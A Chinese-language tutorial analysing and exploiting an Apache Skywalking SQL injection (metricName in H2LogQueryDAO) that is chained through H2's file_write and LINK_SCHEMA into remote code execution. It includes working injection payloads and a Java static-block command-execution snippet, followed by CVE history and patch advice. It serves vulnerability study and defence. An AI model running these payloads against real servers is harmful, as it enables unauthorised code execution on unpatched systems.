Apache Skywalking远程代码执行漏洞分析与利用教学
1. 漏洞概述
Apache Skywalking是一个分布式系统的应用程序性能监视工具,特别为微服务、云原生和基于容器(Docker, Kubernetes, Mesos)的体系结构设计。
该漏洞存在于Skywalking v8.4.0之前的版本中,是由于之前两次SQL注入漏洞(CVE-2020-9483、CVE-2020-13921)修复不完善,仍存在一处SQL注入漏洞。结合H2数据库(默认数据库),可以导致远程代码执行(RCE)。
2. 环境搭建
2.1 调试环境搭建
-
下载Skywalking v8.3.0源码:
https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz -
编译项目:
./mvnw compile -Dmaven.test.skip=true -
启动服务:
- 在
OAPServerStartUp.java的main()函数运行启动OAPServer - 在
skywalking-ui目录运行npm run serve启动前台服务 - 访问
http://localhost:8081
- 在
注意:实际RCE利用时,建议使用官方提供的distribution中的startup.bat启动,因为IDEA会修改classpath导致RCE不成功。
2.2 二进制包下载
https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
3. 前置知识
3.1 GraphQL基础
漏洞利用需要通过GraphQL语句构造,需要掌握:
- GraphQL查询语法
- SpringBoot和GraphQL的整合
在Skywalking中:
.graphqls文件定义服务- 实现
GraphQLQueryResolver的类中定义与服务名相同的方法 - 这样GraphQL服务就与具体的Java方法对应起来
3.2 Skywalking中GraphQL组件关系
以alarm.graphqls为例:
- Service层:
oap-server/server-core/src/main/java/org/apache/skywalking/oap/server/core/query/AlarmQueryService.java - Resolver接口实现层:
oap-server/server-query-plugin/query-graphql-plugin/src/main/java/org/apache/skywalking/oap/query/graphql/resolver/AlarmQuery.java - GraphQLs文件:
oap-server/server-query-plugin/query-graphql-plugin/src/main/resources/query-protocol/alarm.graphqls - DAO层:
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java
4. 漏洞分析
4.1 SQL注入点定位
漏洞位于:
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
关键代码(第64行):
sql.append(" where ").append(LogRecord.METRIC_NAME).append(" = \'").append(metricName).append("\'");
metricName直接拼接到SQL语句中,未做任何过滤。
4.2 调用链分析
-
DAO层:
H2LogQueryDAO.queryLogs()- 直接拼接
metricName到SQL语句
- 直接拼接
-
Service层:
LogQueryService.queryLogs()- 调用DAO层方法
-
Resolver层:
LogQuery.queryLogs()- 实现
GraphQLQueryResolver接口 - 直接通过
condition.getMetricName()获取参数值
- 实现
4.3 SQL注入验证
构造恶意metricName:
INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --
成功报错并带出H2数据库版本信息。
5. RCE利用
5.1 H2数据库特性
H2数据库SQL注入可导致RCE,常见方法:
- 堆叠注入定义函数别名执行Java代码
- 使用
file_write写文件 - 使用
link_schema触发类加载
限制:prepareStatement只能编译一条语句,无法使用分号执行多条语句。
5.2 利用方法
结合file_write和link_schema:
-
file_write:写入恶意class文件
INFORMATION_SCHEMA.USERS union all select file_write('6162','evilClass'))a where 1=? or 1=? or 1=? -- -
link_schema:加载恶意类
INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','evilClass','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --
link_schema底层使用Class.forName()加载类,触发恶意类静态代码块执行。
5.3 回显RCE实现
由于双亲委派机制和类加载限制,需要:
- 每次使用不同类名
- 通过
file_write写入执行结果到文件 - 使用
file_read读取结果文件
恶意类静态代码块示例:
static {
try {
String cmd = "whoami";
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader i = new InputStreamReader(in, "GBK");
BufferedReader re = new BufferedReader(i);
StringBuilder sb = new StringBuilder(1024);
String line = null;
while ((line = re.readLine()) != null) {
sb.append(line);
}
BufferedWriter out = new BufferedWriter(new FileWriter("output.txt"));
out.write(String.valueOf(sb));
out.close();
} catch (IOException var7) { }
}
读取结果:
INFORMATION_SCHEMA.USERS union all select file_read('output.txt',null))a where 1=? or 1=? or 1=? --
5.4 动态字节码生成
为绕过类加载限制,可动态生成不同类名的恶意类:
- 随机生成5位文件名后缀
- 修改恶意类字节码中的类名部分
- 动态拼接完整的class文件十六进制
6. 历史漏洞分析
6.1 CVE-2020-9483
- 漏洞点:
H2MetricsQueryDAO.java中id参数直接拼接 - 修复:改为使用预编译方式查询
6.2 CVE-2020-13921
- 漏洞点:多处SQL语句直接拼接用户输入
- 修复:改为使用占位符预编译方式
6.3 当前漏洞
- 是之前修复不完善的遗留问题
- 最终修复方案:直接删除
metricName字段
7. 防御建议
- 升级到Skywalking v8.4.0或更高版本
- 避免使用H2作为生产环境数据库
- 对所有用户输入进行严格过滤和验证
- 使用预编译SQL语句而非字符串拼接
8. 总结
该漏洞展示了:
- 修复不彻底可能导致新的安全问题
- SQL注入与其他特性结合可导致更严重的RCE
- 数据库内置功能可能成为攻击媒介
- 防御需要多层次、全方位的考虑
通过深入分析此类漏洞,可以帮助开发者更好地理解安全编码的重要性,并提高系统安全性。